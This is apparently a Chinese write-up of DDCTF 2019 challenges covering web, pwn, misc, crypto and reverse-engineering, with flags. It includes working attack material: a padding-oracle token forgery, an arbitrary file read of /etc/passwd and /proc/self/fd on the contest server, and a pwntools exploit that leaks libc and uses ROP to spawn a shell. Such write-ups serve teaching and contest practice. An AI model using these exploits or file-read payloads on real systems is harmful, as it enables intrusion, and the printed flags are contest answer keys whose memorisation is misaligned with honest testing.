ciphertxt1 = sxor(evil_plaintxt[16 :],imtermediary2) imtermediary1 = padding_oracle(ciphertxt1, 16 ) iv_fixed = sxor(imtermediary1,org_plaintxt[:16 ]) print (iv_fixed+ciphertxt1+ciphertxt2).encode('base64' )
修改token为e/0YtlMi8D4jOD4Uk+gE2sO+7uQmXLN5LEM2W9Y6VRa42FqRvernmQhsxyPnvxaF
得到了一个1.txt1 2 3 4 Try to hack~ Hint: 1. Env: Springboot + JDK8(openjdk version "1.8.0_181") + Docker~ 2. You can not exec commands~
发现可以任意文件读取 http://c1n0h7ku1yw24husxkxxgn3pcbqu56zj.ddctf2019.com:5023/api/fileDownload?fileName=/etc/passwd
/proc/self/fd/xxx
可以查看该进程打开的文件,经测试访问 /api/fileDownload?fileName=/proc/self/fd/15
拿到网站源码
反编译class文件后拿到java源码,有一个DeserializeDemoController比较可疑
fastjson 版本是 1.2.51 好像没有漏洞,而且用了SerialKiller。1.txt 提示无法执行命令。
【未完待续】
MISC [PWN] strike 1 2 3 4 5 6 [*] '/home/kira/pwn/ddctf/xpwn' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
漏洞一:无初始化内存,导致内存泄露
1 2 3 4 5 6 7 8 9 10 int __cdecl sub_80485DB (FILE *stream, FILE *a2) { int v2; char buf; printf ("Enter username: " ); v2 = fileno(stream); read(v2, &buf, 0x40 u); return fprintf (a2, "Hello %s" , &buf); }
动态调试,可以发现内存里面有栈地址,以及libc地址,填充0x28位字符,即可泄露
漏洞二:输入长度为有符号数,长度判断没有判断是否为负数,导致栈溢出
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 int __cdecl main (int a1) { int v1; char buf; size_t nbytes; int *v5; v5 = &a1; setbuf(stdout , 0 ); input_name(stdin , stdout ); sleep(1u ); printf ("Please set the length of password: " ); nbytes = get_int(); if ( (signed int )nbytes > 63 ) { puts ("Too long!" ); exit (1 ); } printf ("Enter password(lenth %u): " , nbytes); v1 = fileno(stdin ); read(v1, &buf, nbytes); puts ("All done, bye!" ); return 0 ; }
长度那里输入-1
,即可获得4294967295
长度的输入,不过这里不是一般的栈溢出,具体需要分析汇编代码
1 2 3 4 5 6 7 8 .text:08048732 add esp, 10h .text:08048735 mov eax, 0 .text:0804873A lea esp, [ebp-8] .text:0804873D pop ecx .text:0804873E pop ebx .text:0804873F pop ebp .text:08048740 lea esp, [ecx-4] .text:08048743 retn
留意到程序最后lea esp, [ecx-4]
,那么要控制esp
就需要控制ecx
。而ecx
的值为ebp-8
处的值,那么我们需要覆盖ebp-8
为我们可控的栈空间地址。通过漏洞一,已经知道栈地址和libc基址,可以在第二次输入的开头构造ROP,然后控制ecx
的值为ROP地址+4
。
1 2 3 4 5 6 7 8 9 10 p.sendlineafter('username: ' ,'1' *0x27 ) p.recvuntil('1' *0x27 +'\n' ) stack = u32(p.recv(4 )) success(hex(stack)) libc.address = u32(p.recv(4 )) - libc.sym['setbuf' ] - 21 success(hex(libc.address)) p.sendlineafter('password: ' ,'-1' ) p.sendlineafter('): ' ,flat(libc.sym['system' ],0 ,libc.search('/bin/sh' ).next()).ljust(68 ,'a' )+p32(stack-0x4c +4 )) p.recvuntil('bye!\n' ) p.interactive()
wireshark 检查http包的过程中,发现有PNG的文件头,提取图片找到一个钥匙图片,调整一下分辨率,发现底部有一个key
继续查找,还发现两个一样的美女傻笑图,不过有一张特别大。
然后根据跟踪http的信息,可以猜测出题人使用在线加密工具( 地址是:http://tools.jb51.net/aideddesign/img_add_info ),将flag隐藏在图片中,密码就是刚刚找到的key。
1 2 3 4 GET /aideddesign/img_add_info HTTP/1.1 Host: tools.jb51.net User-Agent: curl/7.54.0 Accept: */*
使用刚才找到的较大那张美女傻笑图,用key进行解密,可以得到隐藏的信息
1 图片中隐藏的信息为:flag+AHs-44444354467B5145576F6B63704865556F32574F6642494E37706F6749577346303469526A747D+AH0-
HEX解一下得到flag1 DDCTF{QEWokcpHeUo2WOfBIN7pogIWsF04iRjt}
北京地铁 Color Threshold
提示:AES ECB密钥为小写字母
提示2:密钥不足位用\0补全
提示3:不要光记得隐写不看图片本身啊…
下载地址
RGB LSB隐写得到密文iKk/Ju3vu4wOnssdIaUSrg==
秘钥需要在图片上寻找了。题目提示Color threshold
,所以是在颜色上做文章。经观察,魏公村站颜色与同路线略有不同,所以尝试密码weigongcun\x00\x00\x00\x00\x00\x00
,使用AES-ECB解密,成功得到flag
1 2 3 from Crypto.Cipher import AESAEScipher = AES.new('weigongcun\x00\x00\x00\x00\x00\x00' ,1 ) print(AEScipher.decrypt('iKk/Ju3vu4wOnssdIaUSrg==' .decode('base64' )))
联盟决策大会 为了共同的利益,【组织1】和【组织2】成立了联盟,并遵守共同约定的协议。为了让协议的制定和修改更加公平,组织1和组织2共同决定:当三位以上【组织1】成员和三位以上【组织2】成员同意时,才可以制定或修改协议。为了实现这一功能,联盟的印章被锁在密码保险柜中,而保险柜的密码只通过Shamir秘密分享方案分享给【组织1】和【组织2】的每一位成员。现在,【组织1】的【成员1】、【成员2】、【成员4】,【组织2】的【成员3】、【成员4】、【成员5】一致同意制定新的协议。请还原出这套方案的设计思路,按照这套方案的思路恢复出保险柜密码,取出印章吧!
以下为使用到的7个十六进制常数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 p = C53094FE8C771AFC900555448D31B56CBE83CBBAE28B45971B5D504D859DBC9E00DF6B935178281B64AF7D4E32D331535F08FC6338748C8447E72763A07F8AF7 组织1成员1 = 30A152322E40EEE5933DE433C93827096D9EBF6F4FDADD48A18A8A8EB77B6680FE08B4176D8DCF0B6BF50000B74A8B8D572B253E63473A0916B69878A779946A 组织1成员2 = 1B309C79979CBECC08BD8AE40942AFFD17BBAFCAD3EEBA6B4DD652B5606A5B8B35B2C7959FDE49BA38F7BF3C3AC8CB4BAA6CB5C4EDACB7A9BBCCE774745A2EC7 组织1成员4 = 1E2B6A6AFA758F331F2684BB75CC898FF501C4FCDD91467138C2F55F47EB4ED347334FAD3D80DB725ABF6546BD09720D5D5F3E7BC1A401C8BD7300C253927BBC 组织2成员3 = 300991151BB6A52AEF598F944B4D43E02A45056FA39A71060C69697660B14E69265E35461D9D0BE4D8DC29E77853FB2391361BEB54A97F8D7A9D8C66AEFDF3DA 组织2成员4 = 1AAC52987C69C8A565BF9E426E759EE3455D4773B01C7164952442F13F92621F3EE2F8FE675593AE2FD6022957B0C0584199F02790AAC61D7132F7DB6A8F77B9 组织2成员5 = 9288657962CCD9647AA6B5C05937EE256108DFCD580EFA310D4348242564C9C90FBD1003FF12F6491B2E67CA8F3CC3BC157E5853E29537E8B9A55C0CF927FE45
应该是通过组织1的成员1,2,4 恢复出来组织1的秘钥
然后通过组织2的成员 3,4,5 恢复出来组织2的秘钥
然后将组织1和组织2的秘钥,恢复出来flag。
找到一篇文章可供参考
发挥搜索能力,然后直接找到了wiki。 直接抄wiki 上的代码即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 from __future__ import divisionfrom __future__ import print_functionimport randomimport functoolsimport libnum_PRIME = 0xC53094FE8C771AFC900555448D31B56CBE83CBBAE28B45971B5D504D859DBC9E00DF6B935178281B64AF7D4E32D331535F08FC6338748C8447E72763A07F8AF7 _RINT = functools.partial(random.SystemRandom().randint, 0 ) def _eval_at (poly, x, prime) : '''evaluates polynomial (coefficient tuple) at x, used to generate a shamir pool in make_random_shares below. ''' accum = 0 for coeff in reversed(poly): accum *= x accum += coeff accum %= prime return accum def make_random_shares (minimum, shares, prime=_PRIME) : ''' Generates a random shamir pool, returns the secret and the share points. ''' if minimum > shares: raise ValueError("pool secret would be irrecoverable" ) poly = [_RINT(prime) for i in range(minimum)] points = [(i, _eval_at(poly, i, prime)) for i in range(1 , shares + 1 )] return poly[0 ], points def _extended_gcd (a, b) : ''' division in integers modulus p means finding the inverse of the denominator modulo p and then multiplying the numerator by this inverse (Note: inverse of A is B such that A*B % p == 1) this can be computed via extended Euclidean algorithm http://en.wikipedia.org/wiki/Modular_multiplicative_inverse#Computation ''' x = 0 last_x = 1 y = 1 last_y = 0 while b != 0 : quot = a // b a, b = b, a%b x, last_x = last_x - quot * x, x y, last_y = last_y - quot * y, y return last_x, last_y def _divmod (num, den, p) : '''compute num / den modulo prime p To explain what this means, the return value will be such that the following is true: den * _divmod(num, den, p) % p == num ''' inv, _ = _extended_gcd(den, p) return num * inv def _lagrange_interpolate (x, x_s, y_s, p) : ''' Find the y-value for the given x, given n (x, y) points; k points will define a polynomial of up to kth order ''' k = len(x_s) assert k == len(set(x_s)), "points must be distinct" def PI (vals) : accum = 1 for v in vals: accum *= v return accum nums = [] dens = [] for i in range(k): others = list(x_s) cur = others.pop(i) nums.append(PI(x - o for o in others)) dens.append(PI(cur - o for o in others)) den = PI(dens) num = sum([_divmod(nums[i] * den * y_s[i] % p, dens[i], p) for i in range(k)]) return (_divmod(num, den, p) + p) % p def recover_secret (shares, prime=_PRIME) : ''' Recover the secret from share points (x,y points on the polynomial) ''' if len(shares) < 2 : raise ValueError("need at least two shares" ) x_s, y_s = zip(*shares) return _lagrange_interpolate(0 , x_s, y_s, prime) def main () : '''main function''' secret, shares = make_random_shares(minimum=3 , shares=6 ) print('secret: ' , secret) print('shares:' ) if shares: for share in shares: print(' ' , share) print('secret recovered from minimum subset of shares: ' , recover_secret(shares[:3 ])) print('secret recovered from a different minimum subset of shares: ' , recover_secret(shares[-3 :])) def DDCTF () : shares1=[(1 ,0x30A152322E40EEE5933DE433C93827096D9EBF6F4FDADD48A18A8A8EB77B6680FE08B4176D8DCF0B6BF50000B74A8B8D572B253E63473A0916B69878A779946A ), (2 ,0x1B309C79979CBECC08BD8AE40942AFFD17BBAFCAD3EEBA6B4DD652B5606A5B8B35B2C7959FDE49BA38F7BF3C3AC8CB4BAA6CB5C4EDACB7A9BBCCE774745A2EC7 ), (4 ,0x1E2B6A6AFA758F331F2684BB75CC898FF501C4FCDD91467138C2F55F47EB4ED347334FAD3D80DB725ABF6546BD09720D5D5F3E7BC1A401C8BD7300C253927BBC )] shares2=[(3 ,0x300991151BB6A52AEF598F944B4D43E02A45056FA39A71060C69697660B14E69265E35461D9D0BE4D8DC29E77853FB2391361BEB54A97F8D7A9D8C66AEFDF3DA ), (4 ,0x1AAC52987C69C8A565BF9E426E759EE3455D4773B01C7164952442F13F92621F3EE2F8FE675593AE2FD6022957B0C0584199F02790AAC61D7132F7DB6A8F77B9 ), (5 ,0x9288657962CCD9647AA6B5C05937EE256108DFCD580EFA310D4348242564C9C90FBD1003FF12F6491B2E67CA8F3CC3BC157E5853E29537E8B9A55C0CF927FE45 )] shares3=[(1 ,recover_secret(shares1)),(2 ,recover_secret(shares2))] print(libnum.n2s(recover_secret(shares3))) if __name__ == '__main__' : DDCTF()
MulTzor 原文为英语,请破解
1 014e084dda666a631b58d361627e5a5bcc327f651f14ef7c626a17558a71627d1251d87b656a5a47d3617f681714cf7c6a6f1651ce327f651f14dd7778791f46c4324a61165dcf612b641414fd7d79611e14fd73792d337d8a66642d0851cb762b7e0f56d9666a630e5dcb7e2b6c175bdf7c7f7e5a5bcc3246620847cf3f68621e51ce32796c1e5dc53268621759df7c626e1b40c37d657e5a5bcc327f651f14eb6a627e5a44c5656e7f0914de7a6a795a5ccb762b6f1f51c4326e63195dda7a6e7f1f508a67786414538a5765641d59cb32666c195cc37c6e7e5414fe7a627e5a4dc37767691f508a7f62611340cb60722d135ade7767611353cf7c68685a43c27b68655614cb7e64631d14dd7b7f655a40c2737f2d1c46c57f2b620e5ccf602b691f57d86b7b791f508a5373640914d8736f641514cb7c6f2d0e51c6777b7f135ade77792d0e46cb7c78601347d97b646309188a656a7e5a53c3646e635a40c2772b6e1550cf7c6a601f14ff7e7f7f1b1a8a4663640914dd73782d195bc46162691f46cf762b6f0314dd7778791f46c43258780a46cf7f6e2d3b58c67b6e695a77c57f666c1450cf602b490d5dcd7a7f2d3e1a8a57627e1f5ac27d7c680814de7d2b651b42cf3269681f5a8a306f68195dd97b7d685814de7d2b7912518a5367611351ce327d641940c5607223703efe7a6e2d3f5ac375666c5a59cb7163641451d9327c6808518a732b6b1b59c37e722d15528a62647f0e55c87e6e2d195dda7a6e7f5a59cb7163641451d9327c640e5c8a60647915468a61687f1b59c87e6e7f091a8a5564621e14c5626e7f1b40c37c6c2d0a46c5716e690f46cf61272d0a46c5626e7f164d8a77656b1546c9776f215a43c56767695a5ccb646e2d1755ce772b7912518a6267781d56c57379695a71c47b6c601b14c7736865135acf327e631846cf73606c1858cf3c2b451543cf646e7f5614c77d78795a5bcc327f651f14ed7779601b5a8a7f62611340cb60722d1c5bd8716e7e5614d977687f1f408a616e7f0c5dc977782d1b5ace3268640c5dc67b6a635a55cd77656e1351d9327f651b408a6778681e14ef7c626a17558a77667d165bd3776f2d0a5bc5602b620a51d8737f6414538a6279621951ce67796809188a7365695a5dde327c6c0914de7a6e7e1f14da7d647f5a44d87d68681e41d877782d0e5ccb662b6c1658c5656e695a40c2772b48145dcd7f6a2d1755c97a62631f478a66642d18518a606e7b1f46d97726681453c37c6e680851ce326a631e14de7a6e2d195dda7a6e7f0914de7d2b6f1f14d8776a69543ea04663685a73cf60666c1414da7e7e6a185bcb606f201f45df7b7b7d1f508a5765641d59cb3269681955c7772b431b4ec3324c680859cb7c722a0914da606263195dda73672d1946d3627f625747d3617f68171a8a5b7f2d0d55d932697f155fcf7c2b6f0314de7a6e2d2a5bc67b78655a73cf7c6e7f1b588a417f6c1c528d612b4e1344c277792d3841d8776a785a5dc4324f681951c7706e7f5a05932139215a43c366632d0e5ccf326a641e14c5742b4b0851c47163200941da6267641f508a7b65791f58c67b6c681457cf32666c0e51d87b6a615a5bc8666a641451ce326d7f15598a732b4a1f46c773652d0944d33c2b4c5a59c57c7f655a56cf74647f1f14de7a6e2d1541de7079681b5f8a7d6d2d2d5bd87e6f2d2d55d83242445614cb662b6c5a57c57c6d680851c4716e2d1251c6762b631f55d8325c6c0847cb65272d0e5ccf325b62165dd97a2b4e1344c277792d3841d8776a785a47c27379681e14c366782d3f5ac375666c5756d8776a66135acd327f68195cc47b7a781f478a7365695a40cf7163631558c575722d0d5dde7a2b7912518a5479681457c2326a631e14e86062791347c23c2b490f46c37c6c2d0e5ccf324c680859cb7c2b641442cb6162621414c5742b5d1558cb7c6f215a57c5606e2d2a5bc67b78655a77c36263680814e86779681b418a626e7f095bc47c6e615a43cf606e2d1f42cb717e6c0e51ce3e2b7b13558a4064601b5ac373272d0e5b8a54796c1457cf327c651f46cf327f651f4d8a7778791b56c67b78651f508a6663685a64e932497f0f5ac53278641d5acb7e782d135ade7767611353cf7c68685a47de737f64155a8a6562791214ec606e63195c8a746a6e1358c36662680914d9677b7d1546de3c2b5e0f57c977787e1c41c63268621544cf606a79135bc4326a60155acd327f651f14fa7d676809188a6663685a72d877656e12188a7365695a40c2772b4f085dde7b78655a55de3249611f40c97a67680314fa7379665a57c57c7f641441cf762b781440c37e2b470f5acf323a344e0486327c651f5a8a54796c1457cf3278780846cf7c6f680851ce327f625a40c2772b4a1f46c773657e543ea05479621714de7a627e5a56cf756263145dc475272d0e5ccf32497f1340c361632d3d5bdc7779631751c4662b4e1550cf326a631e14e96b7b651f468a416865155bc632234a3912e941222d1b408a5067680e57c27e6e745a64cb60602d1841c37e7f2d0f448a73652d1f4cde77657e1342cf32687f0344de73656c164dde7b682d1955da736964165dde6b252d335ac366626c1658d33e2b7912518a766e6e084dda6662621414dd73782d1755c37c67745a5bcc3247781c40dd736d6b1f1482556e7f1755c4326a640814cc7d796e1f1d8a7365695a558a746e7a5a7ccf77792d5273cf60666c1414cb6066745314c777787e1b53cf61272d1b478a6663685a7fd87b6e6a0959cb6062631f1482556e7f1755c432656c0c4d83326e600a58c56b6e695a59df71632d175bd8772b7e1f57df606e2d0a46c5716e690f46cf612b6b15468a67786414538a5765641d59cb3c2b4c1655c4325f78085dc475272d1b14e973666f085dce756e2d2f5ac3646e7f095dde6b2b601b40c277666c0e5dc97b6a635a55c4762b611553c371626c14188a6279620c5dce776f2d1741c97a2b621c14de7a6e2d1546c37562631b588a666364145fc37c6c2d0e5ccb662b611f508a66642d0e5ccf326f68095dcd7c2b621c14de7a6e2d1946d3627f6c1455c66b7f641955c63269621756cf32666c195cc37c6e7e5a40c2737f2d0d51d8772b641447de607e601f5ade73672d135a8a777d681440df7367610314c8606e6c115dc4752b7912518a7c6a7b1b588a5765641d59cb3c2b451543cf646e7f5614de7a6e2d3146c3776c7e1755d87b65685a5dc46679621e41c9776f2d1b5a8a5765641d59cb327d680847c37d652d0d5dde7a2b6c5a52c56779791214d87d7f620814cc7d792d1340d9325e20185bcb6678215a46cf617e610e5dc4752b641414cb327b7f1558c57c6c681e14da77796415508a6563681414de7a6e7e1f14c777787e1b53cf612b6e1541c6762b6315408a706e2d1e51c960727d0e51ce3c2b5a1340c2327f651f14c9737b790f46cf32646b5a46cf7e6e7b1b5ade3268640a5ccf602b661f4dd9326a631e14de7a6e2d0f47cf32646b5a59df71632d1c55d9666e7f5a61f932456c0c4d8a7064601851d93e2b7f1f53df7e6a7f5614d8737b641e14d8776a69135acd32646b5a618770646c0e14c777787e1b53cf612b7f1f47df7f6e69543ea04663685a52c6736c2d134790324f493960ec693b3a1805c8263d694b50c82033354e07ce236d694d02922a326b1f559370383b07
提示原文是英文,最初的想法是通过词频来还原,写了段代码,简单统计了一下数据出现的次数,发现有159种二进制,应该不是简单的替换,猜测可能经过异或处理。此处祭出神器xortool,英文最多的必须是空格,那么以空格为参考进行爆破。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 F:\hack\tools\crypto\xortool-master\xortool λ py -2 xortool -c " " X:\tmp\MulTzor The most probable key lengths: 3: 11.9% 6: 19.7% 9: 9.3% 12: 14.5% 15: 7.1% 18: 11.2% 21: 5.4% 24: 8.4% 30: 6.8% 36: 5.7% Key-length can be 3*n 2 possible key(s) of length 6: \x0b\rz4\xaa\x12 N\rz4\xaa\x12 Found 2 plaintexts with 95.0%+ printable characters See files filename-key.csv, filename-char_used-perc_printable.csv
直接爆出了key,进行xor即可还原明文。
1 2 3 4 5 6 7 8 9 Cryptanalysis of the Enigma ciphering system enabled the western Allies in World War II to read substantial amounts of Morse-coded radio communications of the Axis powers that had been enciphered using Enigma machines. This yielded military intelligence which, along with that from other decrypted Axis radio and teleprinter transmissions, was given the codename Ultra. This was considered by western Supreme Allied Commander Dwight D. Eisenhower to have been "decisive" to the Allied victory. The Enigma machines were a family of portable cipher machines with rotor scramblers. Good operating procedures, properly enforced, would have made the plugboard Enigma machine unbreakable. However, most of the German military forces, secret services and civilian agencies that used Enigma employed poor operating procedures, and it was these poor procedures that allowed the Enigma machines to be reverse-engineered and the ciphers to be read. The German plugboard-equipped Enigma became Nazi Germany's principal crypto-system. It was broken by the Polish General Staff's Cipher Bureau in December 1932, with the aid of French-supplied intelligence material obtained from a German spy. A month before the outbreak of World War II, at a conference held near Warsaw, the Polish Cipher Bureau shared its Enigma-breaking techniques and technology with the French and British. During the German invasion of Poland, core Polish Cipher Bureau personnel were evacuated, via Romania, to France where they established the PC Bruno signals intelligence station with French facilities support. Successful cooperation among the Poles, the French, and the British at Bletchley Park continued until June 1940, when France surrendered to the Germans. From this beginning, the British Government Code and Cypher School (GC&CS) at Bletchley Park built up an extensive cryptanalytic capability. Initially, the decryption was mainly of Luftwaffe (German air force) and a few Heer (German army) messages, as the Kriegsmarine (German navy) employed much more secure procedures for using Enigma. Alan Turing, a Cambridge University mathematician and logician, provided much of the original thinking that led to the design of the cryptanalytical bombe machines that were instrumental in eventually breaking the naval Enigma. However, the Kriegsmarine introduced an Enigma version with a fourth rotor for its U-boats, resulting in a prolonged period when these messages could not be decrypted. With the capture of relevant cipher keys and the use of much faster US Navy bombes, regular, rapid reading of U-boat messages resumed. The flag is: DDCTF{07b1b46d1db28843d1fd76889fea9b36}
RE Windows Reverse1 静态分析法
使用peid进行检查,发现upx壳,upx -d reverse1_final.exe
进行脱壳(脱壳后的exe在win10下不能运行,XP下可以运行),直接拖入IDA进行分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 int __cdecl main (int argc, const char **argv, const char **envp) { char v4; char v5; char v6; char Dst; v6 = 0 ; memset (&Dst, 0 , 0x3FF u); v4 = 0 ; memset (&v5, 0 , 0x3FF u); printf ("please input code:" ); scanf ("%s" , &v6); sub_401000(&v6); if ( !strcmp (&v4, "DDCTF{reverseME}" ) ) printf ("You've got it!!%s\n" , &v4); else printf ("Try again later.\n" ); return 0 ; }
主函数逻辑比较简单 ,把输入的字符串调用sub_401000
函数进行处理,然后和 DDCTF{reverseME}
进行比较。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 unsigned int __cdecl sub_401000 (const char *a1) { _BYTE *v1; unsigned int v2; unsigned int result; int v4; v2 = 0 ; result = strlen (a1); if ( result ) { v4 = a1 - v1; do { *v1 = byte_402FF8[(char )v1[v4]]; ++v2; ++v1; result = strlen (a1); } while ( v2 < result ); } return result; }
双击跟进byte_402FF8
发现并不存在,LXY大神的分析如下:
翻看了下PE头中.rdata和.data的定义,发现.rdata的RVA是0x2000,内存大小为0x622,.data的RVA是0x3000。也就是说虚拟地址0x402000-0x402621是.rdata段。0x402622至0x402fff为未定义的内存空间(实际上内存页大小是0x1000,所以该端内存的会被默认填充为0)。但这不妨碍我们通过0x402ff8作为基址进行内存定位。翻了下.data段立马发现从0x403018开始为一个疑似转换表。
1 2 3 4 5 a="~}|{zyxwvutsrqponmlkjihgfedcba`_^]\\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:9876543210/.-,+*)('&%$#\"!" base=0x402ff8 table=0x403018 b="DDCTF{reverseME}" print '' .join([chr(a.index(b[i])+table-base) for i in range(len(b))])
动态调试法
根据ida反汇编的伪代码,在strcmp(&v4, "DDCTF{reverseME}")
下断点
可以根据输入和处理结果的映射关系,逆向还原flag
Windows Reverse2 使用peid进行检查,发现aspack壳,用Aspack stripper
脱壳后拖入IDA
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 int __cdecl main (int argc, const char **argv, const char **envp) { char Dest; char v5; char v6; char Dst; char v8; char v9; v6 = 0 ; memset (&Dst, 0 , 0x3FF u); v8 = 0 ; memset (&v9, 0 , 0x3FF u); printf (Format); scanf (aS, &v6); if ( !check_hex(&v6) ) { printf (aInvalidInput); exit (0 ); } sub_401240(&v6, (int )&v8); Dest = 0 ; memset (&v5, 0 , 0x3FF u); sprintf (&Dest, aDdctfS, &v8); if ( !strcmp (&Dest, aDdctfReverse) ) printf (aYouVeGotItS, &Dest); else printf (aSomethingWrong); return 0 ; }
程序要求输入16进制,然后经过sub_401240
处理后与reverse+
比较,伪代码比较难看,还是直接用动态调试吧,继续在字符串比较处下一个断点。
不难发现sub_401240
函数将输入进行了hex解码和base64编码,直接逆向运算即可
1 2 3 4 >>> print 'EjRWeJA=' .decode('base64' ).encode('hex' )1234567890 >>> print("reverse+" .decode("base64" ).encode("hex" ).upper())ADEBDEAEC7BE
1 2 3 > X:\tmp\reverse2_final.exe input code:ADEBDEAEC7BE You've got it !!! DDCTF{reverse+}
Confused 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 void __cdecl -[ViewController checkCode:](ViewController *self, SEL a2, id a3){ void *v3; void *v4; void *v5; void *v6; char *v7; void *v8; char *v9; void *v10; void *v11; void *v12; void *v13; __int128 v14; __int64 v15; SEL v16; void *v17; char *v18; __int64 v19; __int64 v20; char *v21; v17 = self; v16 = a2; v15 = 0L L; objc_storeStrong(&v15, a3); v3 = objc_msgSend(v17, "pwd" ); v4 = (void *)objc_retainAutoreleasedReturnValue(v3); v5 = v4; v6 = objc_msgSend(v4, "stringValue" ); v14 = (unsigned __int64)objc_retainAutoreleasedReturnValue(v6); objc_release(v5); if ( (unsigned __int8)objc_msgSend((void *)v14, "hasPrefix:" , CFSTR("DDCTF{" )) ) { v7 = (char *)objc_msgSend((void *)v14, "length" ); v8 = objc_msgSend((void *)v14, "substringFromIndex:" , v7 - 1 ); v13 = (void *)objc_retainAutoreleasedReturnValue(v8); if ( (unsigned __int8)objc_msgSend(v13, "isEqualToString:" , CFSTR("}" )) ) { v9 = (char *)objc_msgSend((void *)v14, "length" ); v19 = 6L L; v18 = v9 - 7 ; v20 = 6L L; v21 = v9 - 7 ; v10 = objc_msgSend((void *)v14, "substringWithRange:" , 6L L, v9 - 7 ); v12 = (void *)objc_retainAutoreleasedReturnValue(v10); if ( objc_msgSend(v12, "length" ) == (void *)18 ) { v11 = (void *)objc_retainAutorelease(v12); *((_QWORD *)&v14 + 1 ) = objc_msgSend(v11, "UTF8String" ); } objc_storeStrong(&v12, 0L L); } objc_storeStrong(&v13, 0L L); } if ( *((_QWORD *)&v14 + 1 ) ) { if ( (unsigned int )sub_1000011D0(*((__int64 *)&v14 + 1 )) == 1 ) objc_msgSend(v17, "onSuccess" ); else objc_msgSend(v17, "onFailed" ); } else { objc_msgSend(v17, "onFailed" ); } objc_storeStrong(&v14, 0L L); objc_storeStrong(&v15, 0L L); }
找到成功的提示,往前一个函数为判断函数。函数内首先分配内存,初始化虚拟机,最后将输入去头尾后代入虚拟机,虚拟机将读入指令中存储的数据,加二,与输入比较,如失败,跳到最后,成功则执行下条指令,逻辑同上。故将指令中字符提取如下:fcjjmWmsEmrRfcDjye。
1 2 3 4 5 6 7 8 9 __int64 __fastcall sub_100001C60 (__int64 a1) { __int64 result; result = rot2(*(_DWORD *)a1, 2 ); *(_DWORD *)a1 = (char )result; ++*(_QWORD *)(a1 + 24 ); return result; }
根据伪代码重写一个rot2
函数即可
1 2 3 4 5 6 7 8 9 10 11 12 import stringa = 'fcjjmWmsEmrRfcDjye' def rot2 (s) : res = '' for i in s: if i in string.lowercase: res += chr((ord(i)+2 -97 )%26 +97 ) else : res += chr((ord(i)+2 -65 )%26 +65 ) return res print rot2(a)
加入DDCTF{}后得到FLAG:
1 DDCTF{helloYouGotTheFlag}
obfuscating macros 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 __int64 __fastcall main (__int64 a1, char **a2, char **a3) { char v3; char v4; bool v5; __int64 v6; char v8; unsigned __int64 v9; v9 = __readfsqword(0x28 u); std ::__cxx11::basic_string<char ,std ::char_traits<char >,std ::allocator<char >>::basic_string(&v8, a2, a3); std ::operator >><char ,std ::char_traits<char >,std ::allocator<char >>(&std ::cin , &v8); sub_4069D6((__int64)&v8); v5 = 0 ; if ( v3 ) { sub_4013E6((__int64)&v8, 10L L); if ( v4 ) v5 = 1 ; } if ( v5 ) v6 = std ::operator <<<std ::char_traits<char >>(&std ::cout , "WELL DONE!" ); else v6 = std ::operator <<<std ::char_traits<char >>(&std ::cout , "wrong answer" ); std ::ostream::operator <<(v6, &std ::endl <char ,std ::char_traits<char >>); std ::__cxx11::basic_string<char ,std ::char_traits<char >,std ::allocator<char >>::~basic_string(&v8); return 0L L; }
有两个检查,第一个检查与第二题RE类似,就是检查是否0-9A-F,第二个检查使用了类似OLLVM的混淆,使用硬件断点跟踪输入的读取,发现在0x405FA3附近进行了读取,并且与某个值进行相减,如果相减不为0程序退出,相减为0后续还会读取输入
1 2 3 4 5 6 7 if ( v47 ) { v4 = (_BYTE *)(*(_QWORD *)vm.p_input)++; **(_BYTE **)vm.field_10 -= *v4; if ( !v12 ) v12 = 162L L; if ( !v47 )
在0x405FC6下断点,例如输入1234567890,第一轮比较0x79和0x12,所以将输入改为7934567890继续看第二轮的比较(或者改寄存器),重复以上步骤得到flag
1 2 3 .text:0000000000405FC4 mov eax, edx .text:0000000000405FC6 sub ecx, eax .text:0000000000405FC8 mov eax, ecx
flag: DDCTF{79406C61E5EEF319CECEE2ED8498}